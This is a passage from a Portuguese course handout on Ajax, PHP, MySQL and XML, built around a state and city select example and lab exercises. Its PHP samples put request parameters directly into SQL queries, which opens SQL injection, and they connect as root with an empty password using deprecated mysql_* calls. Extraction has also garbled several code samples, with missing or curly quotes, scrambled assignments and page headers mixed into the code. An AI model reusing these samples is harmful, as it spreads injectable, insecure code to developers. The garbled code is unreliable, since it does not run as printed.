“criaxmlhttp()”, a qual é responsável por criar um objeto “xmlhttp” no qual logo após utilizamos em conjunto com o método OPEN. A função acima demonstra a conexão a um arquivo em PHP chamado arquivo01.php. Logo após é chamado o método “send” o qual podemos retornar algum tipo de valor para o servidor, mas neste caso simplesmente retornamos como NULL significando assim que não há mais nada a ser realizado no processo. 27 Desenvolvimento de Interfaces na Web 3.7.1 Analisando os 5 estados da requisição Após termos efetuado a etapa acima nossa função ainda não está concluída, após o documento dinâmico ter sido solicitado ao servidor, este passar por 5 estados de requisição, os quais podem ser observados a seguir e devem ser analisados em nosso algoritmo conforme o tipo de implementação que estamos realizando: Estados: 0: Não inicializado (unitialized) 1: Carregando (loading) 2: Carregado (loaded) 3: Interativo (interactive) 4: Concluído (completed) Dependendo da funcionalidade do seu script você utilizará testes para verificar qual tipo de estado em que se encontra a leitura do documento no lado do servidor para o lado do cliente, sendo que para executar este processo precisaremos chamar dois outros métodos em nossa função: onreadystatechange: método que avalia a situação do documento carregado, e em cada mudança do estado de leitura realiza determinados processos impostos pelo algoritmo. objeto.readyState: método que retorna o estado de leitura do documento o qual foi solicitada a execução e carregamento. Logo, devemos então incorporar estes métodos em nossa função, ficando a mesma da seguinte maneira: function acessa(){ criaxmlhttp(); xmlhttp.open("GET","arquivo01.php,true); xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4) alert(„Dados Carregados!‟); } xmlhttp.send(null); } 28 Desenvolvimento de Interfaces na Web Observe que neste caso só nos interessa o estado de leitura “4”, ou seja, estamos executando determinada ação somente quando o servidor tiver retornado por completo os dados do documento dinâmico e sua execução estiver sido completada do outro lado. Laboratório: Tendo em vista o que foi ensinado até o momento já temos idéia de como são analisadas as requisições em Ajax de uma forma macro. Elabore um script aproveitando as funções vistas anteriormente de forma que seja solicitada a execução de um script dinâmico em no servidor e enquanto este não estiver completamente carregado seja exibida em uma DIV a mensagem: “Aguarde: carregando...” 3.8 Verificando os dados retornados pelo servidor: Os dados que foram lidos pelo Javascript na conexão assíncrona são retornados pelo servidor de duas formas: Formato Texto (simples); Formato XML (mais organizado, porem mais complexo); Como teremos um capitulo introdutório ao XML, iremos primeiramente tratar os dados recebidos em forma de texto, mas para isso teremos que implementar um script simples que fará o papel do nosso já mencionado “arquivo01.php” responsável por retornar os dados solicitados ao servidor. Crie um novo arquivo e salve-o no mesmo diretório que o arquivo HTML e JS que estamos utilizando. Nomeie-o como “arquivo01.php”. Este arquivo conterá simplesmente a seguinte linha: <?php echo “Curso de AJAX”; ?> 3.9 Retornos em texto simples: Para realizamos a leitura dos dados passados do servidor para o cliente no caso simples, ou seja, formato texto teremos de criar uma terceira função responsável por coletar e interpretar esses dados, dando assim o tratamento necessário a eles conforme a nossa necessidade. 29 Desenvolvimento de Interfaces na Web Quando tratamos de dados em formato texto temos um método chamado “responseText” onde ficam armazenados todos os dados que foram retornados do servidor no momento de execução do script solicitado. Crie então uma nova função a qual chamaremos de monta(), ficando ela como mostrado abaixo: function monta(){ var dados = xmlhttp.responseText; } Como você pode observar é criada uma variável “dados” na qual o método responseText é chamado em conjunto com o objeto já criado anteriormente xmlhttp. Todos os dados retornados pelo servidor estão agora armazenados dentro desta variável, podendo ser tratados como uma variável simples Javascript. Criaremos no mesmo documento uma DIV com o nome de CONTEUDO e injetaremos dentro dela o conteúdo retornado pelo servidor: function monta(){ var dados = xmlhttp.responseText; document.getElementById(“CONTEUDO”).innerHTML = dados; } Desta forma deveremos simplesmente chamar esta função dentro da nossa já implementada função acessa(), ficando a mesma disponibilizada da seguinte forma: function acessa(){ criaxmlhttp(); xmlhttp.open("GET","arquivo01.php”,true); xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4){ monta(); else document.getElementById(“CONTEUDO”).innerHTML "Carregando..."; = } 30 Desenvolvimento de Interfaces na Web xmlhttp.send(null); } ATENÇÃO: nunca se esqueça de finalizar a função acessa() com o método xmlhttp.send, pois caso contrário o servidor fica aguardando uma finalização da conexão assíncrona e não retorna os dados para o browser. DICA: da mesma maneira que você solicita a execução de um arquivo ao servidor, você pode passar para eles variáveis que serão recebidas do outro lado pelo método que você as enviou, veja o exemplo: xmlhttp.open(“GET”,”arquivo01.php?id_pessoa=”+15,true); Só não se esqueça de setar o método correto acima para que o script interprete e receba as variáveis enviadas pelo Javascript no momento de execução. Exemplo: Utilizando um pouco mais de manipulação de elementos em DOM, realize o seguinte exercício: Monte um documento em HTML que possua dois componentes do tipo SELECT em um formulário, sendo que no primeiro serão listados alguns estados brasileiros e no outro ao selecionar-se o estado serão apresentadas as respectivas cidades deste estado, conforme mostrado na imagem abaixo: Solução: Para resolver este exercício você necessitará de 4 arquivos: cidades.php: arquivo onde ficará o formulário HTML. ajax01.js: Java script que será responsável pela execução assíncrona do arquivo dinâmico no servidor e recuperação dos dados para o cliente. 31 Desenvolvimento de Interfaces na Web ajax01.php: arquivo dinâmico que será executado pelo Ajax no servidor. conexão.php: arquivo simples em php que simplesmente fará a conexão com o banco de dados. Primeiro crie as tabelas no banco de dados usando a seguinte query: CREATE TABLE IF NOT EXISTS estados ( id_estado int(10) unsigned NOT NULL auto_increment, sigla char(2) , nome varchar(50) , PRIMARY KEY (id_estado) ); INSERT INTO estados VALUES("1", "RS", "Rio Grande do Sul"); INSERT INTO estados VALUES("2", "SC", "Santa Catarina"); INSERT INTO estados VALUES("4", "SP", "São Paulo"); INSERT INTO estados VALUES("5", "RJ", "Rio de Janeiro"); CREATE TABLE IF NOT EXISTS cidades ( id_cidade int(10) unsigned NOT NULL auto_increment, id_estado int(10) unsigned , nome varchar(100) , PRIMARY KEY (id_cidade) ); INSERT INTO cidades VALUES("1", "1", "Porto Alegre"); INSERT INTO cidades VALUES("2", "1", "Alvorada"); INSERT INTO cidades VALUES("3", "1", "Viamão"); INSERT INTO cidades VALUES("4", "2", "Sombrio"); INSERT INTO cidades VALUES("5", "2", "São João do Sul"); INSERT INTO cidades VALUES("6", "4", "São Paulo"); INSERT INTO cidades VALUES("7", "5", "Rio de Janeiro"); Agora que possuímos os dados que serão acessados no banco de dados, criamos o arquivo de conexão com o banco: CONEXAO.PHP 32 Desenvolvimento de Interfaces na Web <?php mysql_connect('localhost','root','') or die(mysql_error()); mysql_select_db('alfamidia'); ?> A seguir o arquivo CIDADES.PHP o qual será a interface para o usuário: <?php include('includes/conexao.php'); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <script src="ajax01.js" type="text/javascript"> </script> <title>Exercicio Ajax</title> </head> <body> <form id="form1" name="form1" method="post" action=""> <table width="400" border="0" cellspacing="2" cellpadding="2"> <tr> <td colspan="2">Formulário:</td> </tr> <tr> <td width="55">Estado:</td> <td width="331"> <select name="estado" id="estado" onchange="acessa('cidades',this.value);" > <option value="00">Selecione</option> <?php $sql = "select * from estados order by nome"; $rs = mysql_query($sql) or die(mysql_error()); 33 Desenvolvimento de Interfaces na Web $total = mysql_num_rows($rs); for($x = 0; $x < $total; $x++) { $id_estado = mysql_result($rs, $x, 'id_estado'); $nome = mysql_result($rs, $x, 'nome'); ?> <option value="<?php echo $id_estado; ?>"><?php echo $nome; ?></option> <?php } ?> </select> </td> </tr> <tr> <td>Cidade:</td> <td> <select name="cidades" id="cidades"> </select> </td> </tr> </table> </form> </body> </html> Agora que possuímos o documento que será apresentado ao clientes, criaremos as duas ultimas camadas restantes. O processo de leitura em Ajax consiste em solicitarmos através de uma função em Java script que um arquivo em php seja executado no servidor, iremos então através dessa execução enviarmos um valor (id_estado) para o servidor e o mesmo executar uma query no banco de dados retornando as cidades respectivas do estado selecionado. AJAX01.PHP <?php include('conexao.php'); 34 Desenvolvimento de Interfaces na Web $id_estado = $_GET["id_estado"]; $sql = "select * from cidades where id_estado = $id_estado"; $rs = mysql_query($sql) or die(mysql_error()); $total = mysql_num_rows($rs); $resultado = ''; for($x = 0; $x < $total; $x++){ $resultado .= utf8_encode(mysql_result($rs, $x, 'nome')) . ','; } echo $resultado; ?> Observe que devido a codificação de caracteres é recomendável converter a string enviada para utf8 antes de prosseguir com a operação. Por fim, iremos montar o arquivo em Java script que realizará a requisição ao servidor: AJAX01.JS function criaxmlhttp(){ try{ xmlhttp = new XMLHttpRequest(); }catch(e){ try{ xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }catch(e1){ try{ xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }catch(e2){ xmlhttp = false; document.write("Navegador não da suporte a Ajax!"); } } } } 35 Desenvolvimento de Interfaces na Web function acessa(elemento,valor){ criaxmlhttp(); xmlhttp.open("GET","ajax01.php?id_estado="+valor,true); xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4){ monta(elemento); }else{ document.getElementById(elemento).innerHTML ="Carregando..."; } } xmlhttp.send(null); } function monta(elemento){ var dados = xmlhttp.responseText; campo = document.getElementById(elemento); campo.options.length = 0; var dados_vet = dados.split(','); for(i = 0; i < dados_vet.length-1; i++){ campo.options[i] = new Option(dados_vet[i]); } } Devemos neste caso apenas dar uma atenção especial a função monta(), a qual foi modificada para manipular via DOM as propriedades do componente SELECT do formulário que montamos. De qualquer forma a manipulação por texto é a mais simples e mais usada por Ajax atualmente, sendo que devemos ter domínio e dar a devida importância a manipulação de elementos do documento via DOM. Laboratório: 36 Desenvolvimento de Interfaces na Web 1. Crie dois selects: O primeiro deve conter uma lista de tipos de filme que seja carregada a partir de um banco de dados. Ao clicar duas vezes sobre o tipos de filme o mesmo deve ser deslocado para o select 2. 2. Crie um select com uma lista de 3 páginas que ao ser alterado mudará o conteúdo de uma div para a página montada com algum parâmetro. 3. Monte uma caixa de texto que pesquise o que for digitado e mostre o que for encontrado em uma tabela em uma div logo abaixo(como um “auto-completar”) 4. Crie uma lista de categorias de produtos que exiba em uma textarea a lista dos produtos desta categoria. Unidade 4 - Estrutura de um documento XML Dentre o uso do Ajax, temos como acompanhamento a utilização de uma tecnologia já bem difundida no ambiente web e no desenvolvimento de software, o qual se resume a simplicidade e a eficácia entre a compatibilidade de outras diversas tecnologias do mercado, o XML (eXtensible Markup Language). O XML consiste em um arquivo parecido com o HTML, porem ao invés de possuir tags com formatação, possui dados. A sua organização é mais rígida e é imposta por padrões globais, isso se justifica ao fato de o XML ser utilizado seguidamente por dispositivos de baixo poder de armazenamento e processamento (celulares, pda´s, palmtops, etc), o que os impede de realizar o debug do código como ocorre nos computadores domésticos por exemplo. A estrutura de um documento XML e baseada em TAGS, sendo que possuímos algumas regras básicas para a criação de um documento XML consistente, veja o exemplo abaixo: 37 Desenvolvimento de Interfaces na Web <?xml version="1.0" encoding="iso-8859-1"?> <municípios> <cidades> <cidade> <nome>Porto Alegre</nome> </cidade> <cidade> <nome>Viamão</nome> </cidade> </cidades> </municípios> Onde: Municípios: TAG root (PAI) do documento, todo documento XML deve possuir uma TAG ROOT, a qual não possui dados, e sim somente filhos (cidades). Cidades: nodo ou nó filho da tag root “municípios”. Cidade: nodo ou nó filho da tag “cidades”, e neta da tag root “municípios”, possui um nó irmão (com mesmo nível hierárquico) chamado “cidade”. O documento XML possui extensão XML, e deve sempre vir acompanhado de um cabeçalho especifico, onde o atributo encoding é opcional. Ao criar as tags no seu arquivo XML nunca use espaços e acentos ou caracteres especiais. Os navegadores mais comuns (Internet Explorer e Firefox) possuem uma grande facilidade na interpretação destes arquivos, sendo que erros de sintaxe como mal fechamentos das tags por exemplo acusam erros no navegador, o que gera a seguinte forma de retorno: Firefox: Internet Explorer: 38 Desenvolvimento de Interfaces na Web DICA: a utilização dos arquivos XML é muito comum no ambiente Microsoft, exemplo disso é a nova extensão de documento do Office 2007, onde seguem os padrões antigos, porem com um “X” no final (.*docx, *.xlsx, *.pptx) isso tornou os arquivos mais leves e acessíveis mesmo para quem não possui o Office. Os documentos XML geralmente são gerados por um arquivo dinâmico, exemplo disso são os arquivos de Feeds (RSS), onde vemos noticias e informações incorporadas e atualizadas a cada minuto por um determinado site. Como estamos trabalhando com Ajax e PHP veremos então uma forma prática de criarmos um arquivo XML utilizando de DOM e PHP juntos. Laboratório. 1. Crie um XML que reproduza a estrutura de notas de alunos 2. Crie um XML que reproduza a estrutura de cadastros de produtos 3. Crie um XML que reproduza o cadastro de clientes 4. Crie um XML que demonstre uma tabela de classificação de times de futebol 5. Crie um XML que represente a cotação de várias moedas 4.2 Montando um documento XML com DOM e PHP. As versões mais recentes do PHP possuem uma classe chamada domDocument a qual permite manipularmos uma serie de elementos de documentos com o PHP. É com esta classe que poderemos elaborar a montagem de um arquivo XML pelo nossos script dinâmico. Primeiramente iremos exemplo01_xml.php. criar um documento novo em PHP e o salvaremos como 39 Desenvolvimento de Interfaces na Web Como mencionado anteriormente utilizaremos um classe embutida no php que nos permite a manipulação de elementos com DOM, logo necessitamos instanciar esta classe em um objeto: $dom = new domDocument; Para criarmos uma nova tag, no nosso caso a primeira a ser criada será definiada por nos como tag ROOT do documento, precisaremos chamar o método cretaElement, que possui a seguinte sintaxe: Objeto.createElement(„nome‟,‟valor‟); Ou seja, $municipios = $dom->createElement(„municipios‟); Toda vez que criamos um elemento, este ficará solto no ambiente até que seja designado um pai a este nodo, para realizarmos esta atribuição necessitamos de um outro método chamado appendChild, que possui a seguinte sintaxe: Objeto.appendChild(„nodo‟); Ou seja, $dom->appendChild($municipios); Por fim deveremos salvar o XML criado em um novo documento, porem com extensão apropriada: $dom->save(„exemplo01_xml.xml); Um script básico para a criação do XML se resume como mostrado a seguir: EXEMPLO01_XML.PHP <?php $dom = new domDocument; $municipios = $dom->createElement('municipios'); $dom->appendChild($municipios); $dom->save('exemplo01_xml.xml'); ?> Quando executarmos o documento gerado pelo nosso arquivo php obteremos a seguinte apresentação: 40 Desenvolvimento de Interfaces na Web Como não possuímos nenhum dado dentro da TAG municípios o próprio PHP trata de resumi-la, sendo que este processo não é obrigatório, mas é tratado como uma certa elegância nos padrões de leitura. Observe agora que se quisermos dar continuidade a criação do XML até que tenhamos estrutura semelhando a apresentada no inicio deste capitulo deveremos atentar para um detalhe: $dom->appendChild($municipios); O Objeto $dom é quem recebe como filho a tag municípios. Logo, se criarmos outro elemento chamado “cidades”, quem receberá o elemento como filho não será o objeto $dom e sim o objeto $municipios: $cidades = $dom->createElement(„cidades‟); $municipios->appendChild($cidades); Faremos o mesmo processo com os outros elementos: $cidade = $dom->createElement('cidade'); $cidades->appendChild($cidade); Por fim, criaremos os últimos elementos irmão filhos de “cidade”: $nome = $dom->createElement('nome','Porto Alegre'); $cidade->appendChild($nome); Veja abaixo o código completo do algoritmo em php: <?php $dom = new domDocument; $municipios = $dom->createElement('municipios'); $dom->appendChild($municipios); $cidades = $dom->createElement('cidades'); $municipios->appendChild($cidades); $cidade = $dom->createElement('cidade'); $cidades->appendChild($cidade); 41 Desenvolvimento de Interfaces na Web $nome = $dom->createElement('nome','Porto Alegre'); $cidade->appendChild($nome); $dom->save('exemplo01_xml.xml'); ?> O resultado será o seguinte: A maneira de implementação do PHP em XML é bem simples e funcional, lembrando que podemos fazer algo mais robusto e dinâmico interagindo diretamente com o banco de dados. Laboratório: Como mencionado anteriormente podemos implementar um XML através de retorno de dados vindos do banco de dados: 1. Implemente um algoritmo em PHP que retorne os dados da tabela de cidades da base de dados já criada anteriormente. Veja uma forma de interpretação do diagrama abaixo: 42 Desenvolvimento de Interfaces na Web Como mencionado anteriormente podemos implementar um XML através de retorno de dados vindos do banco de dados: 2. Monte dinamicamente um XML que represente uma receita 3. Crie e alimente um XML dinamicamente que mostre um organograma simples de uma empresa 4. Crie e alimente um XML dinamicamente que represente um currículo 5. Crie e alimente um XML dinamicamente que mostre e hierarquia de pastas de um computador 4.3 Montando um XML em PHP de forma Textual É muito comum vermos arquivos em versões anteriores do PHP utilizando a forma textual (strings) para retornar e gerar arquivos em XML pelo script. Esta forma apesar de não muito adequada, pois é bem sujeita a erros, é ainda muito utilizada e consistem em através de Loops ou somente atribuição armazenar a sintaxe do arquivo XML em uma variável PHP. Veja um exemplo abaixo: <?php $xml = '<?xml version="1.0" encoding="iso-8859-1"?>'; $xml .= '<municípios>'; $xml .= '<cidades>'; 43 Desenvolvimento de Interfaces na Web $xml .= '<cidade>'; $xml .= '<nome>Porto Alegre</nome>'; $xml .= '</cidade>'; $xml .= '<cidade>'; $xml .= '<nome>Viamao</nome>'; $xml .= '</cidade>'; $xml .= '</cidades>'; $xml .= '</municípios>'; echo $xml; ?> 4.4 Retorno do conteúdo em XML para o Ajax Após termos adotado uma forma de gerarmos o arquivo XML com os dados que devem ser acessados pelo Javascript, teremos que de alguma forma realizar a leitura destes dados pelo navegador. Vimos anteriormente que a através do método obj.responseText, os dados retornados em formato TEXTO podem ser lidos e tratados facilmente pelo nosso script. Agora utilizaremos outro método especifico para a leitura dos dados XML, o obj.responseXML, onde teremos mais facilidade em navegar pela estrutura do documento, podendo acessar diretamente níveis hierárquicos dentro do mesmo e atributos de cada TAG existente dentro do XML. Veja um exemplo prático a seguie e logo acompanhe a analise, lembrando que aproveitaremos a nossa função já implementada (criaxmlhttp()). function leXML(url) { criaxmlhttp(); document.getElementById("cabecalho").innerHTML = "Carregando …"; xmlhttp.open("POST", url, true); xmlhttp.setRequestHeader("Content-Type", urlencoded"); "application/x-www-form- xmlhttp.setRequestHeader("Cache-Control", "no-store, no-cache, mustrevalidate"); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState == 4) { 44 Desenvolvimento de Interfaces na Web if (xmlhttp.status == 200) { montaResultado(); } } } xmlhttp.send(null); } Observe que alguns novos elementos estão disponíveis na sintaxe da função que lê nosso documento XML. O método setRequestHeader é responsável por inserir informações adicionais no cabeçalho do documento lido passando alguns parâmetros para variáveis já definidas na estrutura: xmlhttp.setRequestHeader("Content-Type", urlencoded"); "application/x-www-form- xmlhttp.setRequestHeader("Cache-Control", "no-store, no-cache, mustrevalidate"); Na primeira linha estamos atribuindo o valor de Aplicação ao tipo de conteúdo lido, já na segunda o script seta o Controle de Cache do navegador como “sem armazenamento, Sem cachê, Revalidavel, ou seja, estamos limpando o cachê do navegador para executar a leitura desses dados, evitando assim que os mesmos sejam reaproveitados pelo browser. Logo a seguir você pode observar que nosso teste de leitura do documento acesado efetua um novo teste com o método xmlhttp.status, onde estamos verificando se o mesmo é igual a 200, ou seja, se a página requisitada foi encontrada pelo servidor. O valor 200 significa página encontrada, podendo ser trocado por outros valores que significam outros estados de acessibilidade do documento. Veja a tabela a seguir: Código Significado Descrição 200 Ready Documento encontrado e pronto para ser lido. 400 Bad Request Requisição compreendida servidor. 401 Unauthorized A requisição só pode ser não pelo 45 Desenvolvimento de Interfaces na Web retornada autenticação. mediante 403 Forbidden O objeto não tem autorização de realizar a requisição. 404 Not Found Documento encontrado. Method not Allowed O método utilizado para executar a requisição não é permitido pelo servidor ou pelo documento. Internal Server Error O servidor retornou um erro ao tentar responder a requisição. 405 500 não Vamos agora implementar uma função capaz de navegar por cada elemento do documento XML que lemos durante a requisição: function montaResultado(){ var dados_xml = xmlhttp.responseXML; // Recupera todos os elementos categoria do objeto XML var cidades = dados_xml.getElementsByTagName("cidades"); for (var i = 0; i < cidades.length; i++) { // Atribui a cidade cada elemento cidade = cidades[i]; for(var x = 0; x < cidade.childNodes.length; x++){ codigo = cidade.getElementsByTagName("codigo")[x].firstChild.nodeValue; descricao = cidade.getElementsByTagName("descricao")[x].firstChild.nodeValue; // Chama a função que cria as linhas da tabela document.write(codigo); document.write(descricao); document.write("<hr>"); 46 Desenvolvimento de Interfaces na Web } } } Como podemos observar o resultado retornado pelo documento requisitado foi armazenado na variável “dados_xml’ através do método já mencionado “responseXML”. Inicialmente o script realizar a busca de um elemento pelo nome de sua TAG, utilizando-se do método “getElementByTagName”, logo após da mesma forma que fazíamos com o documento em formato texto, é realizado um loop que percorre os nodos filhos dessa tag, e atribui esses valores as variáveis “código” e “descrição”. Neste caso é importante ressaltar a utilização do método “childNodes”, o qual refere-se aos nodos filhos da tag selecionada. Veja abaixo alguns outros métodos importantes no Java Script que facilitam bastante a navegação por um documento XML. .childNodes: retorna um vetor com o índice de nós (nodos) do elemento referenciado. .firstChild: retorna o primeiro nodo filho do elemento referenciado. .lastChild: retorno o ultimo nodo filho do elemento referenciado. .nodeValue: recupera o valor de um nodo. .parentNode: retorna o nodo pai do elemento referenciado. .nextSibiling: retorna o elemento irmão localizado posteriormente ao elemento atual. .previousSibiling: retorna o elemento irmão localizado anteriormente ao elemento atual. .getElementsByTagName: retorna um vetor contendo a relação dos nodos filhos do elemento referenciado. .hasChildNodes: retorna um valor booleano (true ou false) caso o elemento possua nodos filhos. .getAttribute: retorna o valor desejado de um atributo do elemento referenciado. Laboratório: 1. Crie, alimente e retorne o conteúdo de um XML que mostre uma seqüência de jogos do campeonato brasileiro com seus resultados 2. Crie, alimente e retorne o conteúdo de um XML que represente os horários de linhas do ônibus intermunicipais 3. Crie, alimente e retorne o conteúdo de um XML que exiba a configuração de alguns notebooks 4. Crie, alimente e retorne o conteúdo de um XML que demonstre a lista de compras de usuários em um e-commerce 47 Desenvolvimento de Interfaces na Web 5. Crie, alimente e retorne o conteúdo de um XML que represente a discografia de determinados artistas 48 Desenvolvimento de Interfaces na Web Unidade 5 - Requisições dinâmicas em Ajax ao PHP 5.1 Criando um documento XML textual com conexão ao banco de dados Iremos agora unir o que vimos até o momento, sendo que os dados do documento XML que iremos montar serão acessados diretamente do servidor. A lógica do processo é simples, o usuário acessara um documento HTML que possuirá um componente responsável por executar um script dinâmico em PHP no servidor, este script por usa vez irá gerar um documento em XML e retornar esses dados ao usuário. Para realizar estas atividades utilizaremos um template muito conhecido na área de PHP chamado templatepower, que pode ser facilmente localizado na Internet. Em primeiro lugar vamos criar um novo documento HTML o qual possuirá simplesmente dois menus de seleção dentro de um formulário. Observe: Site_cidades.htm <select name="id_uf" onChange="Dados(this.value);" class="formulario3"> <option value="0">--Selecione o estado >></option> <!-- START BLOCK : LOOP-UF --> <option value="{id_uf}" {pselect}>{descricao_abreviada}</option> 49 Desenvolvimento de Interfaces na Web <!-- END BLOCK : LOOP-UF --> </select> <select name="listCidades" class="formulario3"> <option id="opcoes" value="0">--Primeiro selecione o estado-</option> </select> O processo todo será realizado no momento em que clicarmos no menu estado formulário. Vamos antes montar o arquivo php que interpretará este documento HTML realizando a conversação com o banco de dados e montando o MENU dos estados, não esquecendo de incluirmos dois arquivos (conexão.php e a classe TemplatePower, responsável pelo sistema de uso de templates): Site_cidades.php <?php include('class.TemplatePower.inc.php'); include('conexao.php'); $sql = "select estados.* from estados order by estados.nome"; $rs = mysql_query($sql) or die(mysql_error()); $total = mysql_num_rows($rs); $tpl = new TemplatePower( "./site_cidades.htm" ); $tpl->prepare(); for($x = 0; $x < $total; $x++){ $tpl->newBlock('LOOP-UF'); 50 Desenvolvimento de Interfaces na Web $tpl->assign('id_uf',mysql_result($rs, $x, 'id_estado')); $tpl->assign('descricao_abreviada',mysql_result($rs, $x, 'nome')); } $tpl->gotoBlock('_ROOT'); $tpl->printToScreen(); ?> Após este processo implementaremos agora o ultimo arquivo dinâmico, o documento que será responsável por retornar os dados do banco de dados em formato XML para o navegador. Ajax_cidades.php include_once('conexao.php'); $pEstado = $_POST["estado"]; $sql = "select * from cidades where id_uf = ".$pEstado." order by nome"; $rs = mysql_query($sql) or die(mysql_error()); $total = mysql_num_rows($rs); //VERIFICA SE VOLTOU ALGO if($total > 0){ $xml = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n"; $xml .= "<cidades>\n"; for($x = 0; $x < $total; $x++){ $xml .= "<cidade>\n"; $xml .= "<codigo>".mysql_result($rs, $x, 'id_cidade') ."</codigo>\n"; $xml .= "<descricao>".mysql_result($rs, $x, 'descricao')."</descricao>\n"; $xml .= "</cidade>\n"; } $xml.= "</cidades>\n"; header("Content-type: application/xml; charset=iso-8859-1"); 51 Desenvolvimento de Interfaces na Web } echo $xml; ?> Se você executar este documento no navegador, poderá observar que ele retorna um documento XML em formato Textual, ou seja, ao longo da implementação criamos uma string que recebia os valores do XML e os atribuía a si mesmo, bastando no final escreve-la na tela. O documento XML retornado é como esse, porem populado com os dados do banco: <cidades> <cidade> <id_cidade></id_cidade> <descricao></descricao> </cidade> <cidade> <id_cidade></id_cidade> <descricao></descricao> </cidade> </cidades> Criaremos então um novo arquivo em .JS e nele armazenaremos as nossas funções, só não esqueça de incluir este arquivo no documento HTML após a sua conclusão. Ajax_cidades.js function Dados(valor) { //verifica se o browser tem suporte a ajax try { ajax = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { try { 52 Desenvolvimento de Interfaces na Web ajax = new ActiveXObject("Msxml2.XMLHTTP"); } catch(ex) { try { ajax = new XMLHttpRequest(); } catch(exc) { alert("Esse browser não tem recursos para uso do Ajax"); ajax = null; } } } if(ajax) { //deixa apenas o elemento 1 no option, os outros são excluídos document.forms[0].listCidades.options.length = 1; idOpcao = document.getElementById("opcoes"); ajax.open("POST", "../php/ajax_cidades.php", true); ajax.setRequestHeader("Content-Type", "application/x-www-formurlencoded"); ajax.onreadystatechange = function() { //enquanto estiver processando...emite a msg de carregando if(ajax.readyState == 1) { idOpcao.innerHTML = "Carregando...!"; } //após ser processado - chama função processXML que vai varrer os dados if(ajax.readyState == 4 ) { if(ajax.responseXML) { processXML(ajax.responseXML); } 53 Desenvolvimento de Interfaces na Web else { //caso não seja um arquivo XML emite a mensagem abaixo idOpcao.innerHTML = "--Primeiro selecione o estado--"; } } } //passa o código do estado escolhido var params = "estado="+valor; ajax.send(params); } } Como você pode observar fizemos a junção das conexões e componentes de objetos em XMLHttp em uma mesma função desta vez, esta sistemática é opcional e você pode optar por manter a utilização de funções separadas, como foi o caso de usarmos anteriormente a função “criaxmlhttp()” para o Ajax. Por fim, logo após esta função iremos disponibilizar no mesmo arquivo a função responsável por montar o menu de opções com as cidades listadas conforme o estado escolhido. function processXML(obj){ //pega a tag cidade var dataArray = obj.getElementsByTagName("cidade"); //total de elementos contidos na tag cidade if(dataArray.length > 0) { //percorre o arquivo XML paara extrair os dados for(var i = 0 ; i < dataArray.length ; i++) { var item = dataArray[i]; //contéudo dos campos no arquivo XML var codigo = item.getElementsByTagName("codigo")[0].firstChild.nodeValue; var descricao = item.getElementsByTagName("descricao")[0].firstChild.nodeValue; idOpcao.innerHTML = "--Selecione uma das opções abaixo--"; 54 Desenvolvimento de Interfaces na Web //cria um novo option dinamicamente var novo = document.createElement("option"); //atribui um ID a esse elemento novo.setAttribute("id", "opcoes"); //atribui um valor novo.value = codigo; //atribui um texto novo.text = descricao; //finalmente adiciona o novo elemento document.forms[0].listCidades.options.add(novo); } }else { //caso o XML volte vazio, printa a mensagem abaixo idOpcao.innerHTML = "--Primeiro selecione o estado--"; } } A estrutura é muito parecida com o que vimos no capitulo anterior, sendo que devemos dar atenção aos métodos de Dom responsáveis pela montagem do menu de listagem no HTML. Exemplo: document.forms[0].listCidades.options.add(elemento); A sintaxe é simples, mostrando que apenas da mesma maneira que navegamos por níveis no XML devemos acessar os elementos do documento. Como mencionado anteriormente o domínio do DOM é essencial para a realização de bons trabalhos em Ajax. O resultado do seu script será como mostrado na imagem abaixo: 55 Desenvolvimento de Interfaces na Web Laboratório: 1. Crie um formulário como o do Twitter, que ao postar o conteúdo postado apareça logo abaixo 2. Crie uma lista de notícias que seja exibida dinamicamente conforme a tela abaixo 56 Desenvolvimento de Interfaces na Web 57 Desenvolvimento de Interfaces na Web Unidade 6 - Manipulando o DOM em Javascript para recursos com Ajax 6.1 Acesso aos estilos dos componentes do documento Esta unidade tem como fins introdutórios os capítulos finais deste curso, como mencionado desde o inicio o domínio de DOM é essencial para aproveitarmos ao máximo os recursos do Java Script em conjunto com Ajax. Como você já deve saber o acesso aos estilos dos componentes do documento web é feito principalmente por folhas de estilos, o CSS. Estas propriedades podem também ser acessadas via DOM, dando mais ênfase aos recursos que queremos disponibilizar ao documento para o usuário. Veja o documento a seguir: <html> <head> </head> <body> <div id="quadro"> Curso de Ajax </div> </body> </html> Este código simplesmente cria um documento HTML composto por uma DIV que possui um conteúdo. As propriedades dessa DIV podem ser modificadas por um SELETOR no arquivo CSS deste documento. Entretanto, como a mesma possui um nome (ID) podemos acessa-la facilmente pelo DOM do Javascript. Caso quiséssemos atribuir uma borda nela por exemplo: elemento = document.getElementById("quadro"); elemento.style.border= '1px #FF0000 dashed'; 58 Desenvolvimento de Interfaces na Web Como você pode observar primeiro devemos procurar o elemento dentro do documento com o método “getElementById”. Após isso armazenamos o mesmo dentro de uma variável, e a seguir acessamos todo e qualquer propriedade deste elemento por níveis. elemento = document.getElementById("quadro"); elemento.style.border = elemento.style.width = '1px #FF0000 dashed'; '100px'; elemento.style.position = 'absolute'; elemento.style.background = elemento.style.color = '#FF0000'; '#FFFFFF'; Consultando um guia das principais tags em CSS voce pode melhorar as suas apresentações em Ajax, atribuindo cores e comportamentos conforme o resultado retornado. Vamos agora atribuir essas propriedades à uma função e executa-la no ato de carregamento do documento. <html> <head> <script type="text/javascript"> function estilo(){ elemento = document.getElementById("quadro"); elemento.style.border = elemento.style.width = '1px #FF0000 dashed'; '100px'; elemento.style.position = 'absolute'; elemento.style.background = elemento.style.color = '#FF0000'; '#FFFFFF'; } </script> </head> <body onload="estilo();"> <div id="quadro"> Curso de Ajax </div> 59 Desenvolvimento de Interfaces na Web </body> </html> Laboratório. 1. Crie os seguintes formulários e funções que permitam manipular suas características de estilos: 60 Desenvolvimento de Interfaces na Web 2. 2.Cria as seguintes tabelas e funções que permitam manipular suas características de estilos. 61 Desenvolvimento de Interfaces na 